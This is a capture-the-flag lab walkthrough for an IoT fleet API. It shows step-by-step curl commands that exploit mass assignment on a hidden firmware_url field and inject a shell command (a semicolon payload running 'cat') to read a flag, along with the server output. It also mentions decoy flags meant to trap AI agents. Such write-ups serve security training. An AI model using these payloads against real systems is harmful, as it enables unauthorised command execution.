Lab 8 — AutoFleet — API Mass Assignment to RCE
Lab 8 — AutoFleet — API Mass Assignment to RCE
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: api_parameter_tampering, firmware_url_manipulation, hidden_field_injection, mass_assignment_exploitation, shell_command_injection
Summary
Walkthrough of the CUSTOM Web Lab 8 — AutoFleet — API Mass Assignment to RCE. Task: IoT fleet management REST API with undocumented firmware_url field writable via PATCH (OWASP API6:2023 Mass Assignment). Solution: Overwrite firmware_url with shell metacharacters via mass assig
Description
AutoFleet is a fleet management dashboard for IoT devices — vehicle trackers, sensors, and controllers. The platform provides a REST API for device management, telemetry monitoring, and firmware updates. The development team recently shipped a new API version and moved fast on input validation. The objective is to find a vulnerability in the API that allows executing arbitrary commands on the server. The flag is stored in /tmp/flag.txt. Test credentials: user@test.com / password123. Flag format: FLAG{...}.
English summary: IoT fleet management platform with REST API for device CRUD, telemetry, and firmware updates. Goal is to achieve RCE and read /tmp/flag.txt. Login credentials provided.
Analysis
-
Authentication: Login via
POST /auth/loginwith form dataemail=user@test.com&password=password123returns aconnect.sidsession cookie. -
Honeypot flags: Every page contains decoy flags (
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) hidden in HTML comments and invisible divs — designed to trick automated scanners and AI agents. These are fake. -
API documentation at
/api-docsdocuments 8 endpoints:GET /api/v1/devices— List all devicesGET /api/v1/devices/:id— Get device detailsPATCH /api/v1/devices/:id— Update device (documented fields: name, location, status, tags)POST /api/v1/devices/:id/apply-firmware— Trigger firmware update from device's configured firmware_urlGET /api/v1/devices/:id/telemetry— Get telemetry dataGET /api/v1/devices/:id/firmware-logs— Get firmware logsGET /api/v1/alerts— List alertsPOST /api/v1/alerts/:id/acknowledge— Acknowledge alert
-
Hidden field discovery:
GET /api/v1/devices/1response includes afirmware_urlfield ("firmware_url": "https://firmware.autofleet.internal/v1.2.3/vehicle_tracker.bin") that is NOT listed among the PATCH endpoint's documented parameters. -
Mass Assignment (OWASP API6:2023): The PATCH endpoint has no server-side field whitelist — it accepts ANY field from the request body and writes it to the database, including protected fields like
firmware_url. -
Command Injection via firmware update: The
apply-firmwareendpoint description states "The system will download and apply the firmware from the device's configured firmware URL" — implying the server passes the URL to a shell command (e.g.,curlorwget) without sanitization.
Solution
Step 1: Authenticate
bash read-only • copy allowedcurl -sk -c cookies.txt -X POST \ "https://67f27e04-5f89-4849-bbc2-801d0894d77d.labs.hackadvisor.io/auth/login" \ -d "email=user@test.com&password=password123"
Step 2: Mass Assignment — Overwrite firmware_url with shell injection payload
The PATCH endpoint only documents name, location, status, tags — but accepts any field. Inject a semicolon to break out of the shell command:
bash read-only • copy allowedcurl -sk -b cookies.txt -X PATCH \ "https://67f27e04-5f89-4849-bbc2-801d0894d77d.labs.hackadvisor.io/api/v1/devices/1" \ -H "Content-Type: application/json" \ -d '{"firmware_url": "https://example.com/test.bin; cat /tmp/flag.txt"}'
Response confirms the field was updated:
json read-only • copy allowed{ "data": { "firmware_url": "https://example.com/test.bin; cat /tmp/flag.txt", ... }, "message": "Device updated successfully" }
Step 3: Trigger firmware update — Command Injection → RCE
bash read-only • copy allowedcurl -sk -b cookies.txt -X POST \ "https://67f27e04-5f89-4849-bbc2-801d0894d77d.labs.hackadvisor.io/api/v1/devices/1/apply-firmware" \ -H "Content-Type: application/json"
The server executes something like curl <firmware_url> in a shell. The semicolon breaks the command, and cat /tmp/flag.txt runs as a separate command:
json read-only • copy allowed{ "success": true, "output": "FLAG{REDACTED}\n", "device_id": "AFT-000", "firmware_url": "https://example.com/test.bin; cat /tmp/flag.txt" }
Key Takeaways / Lessons
- Mastering api_parameter_tampering, firmware_url_manipulation, hidden_field_injection, mass_assignment_exploitation, shell_command_injection was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-04-30 • CUSTOM • Lab 8 — AutoFleet — API Mass Assignment to RCE • Difficulty: Easy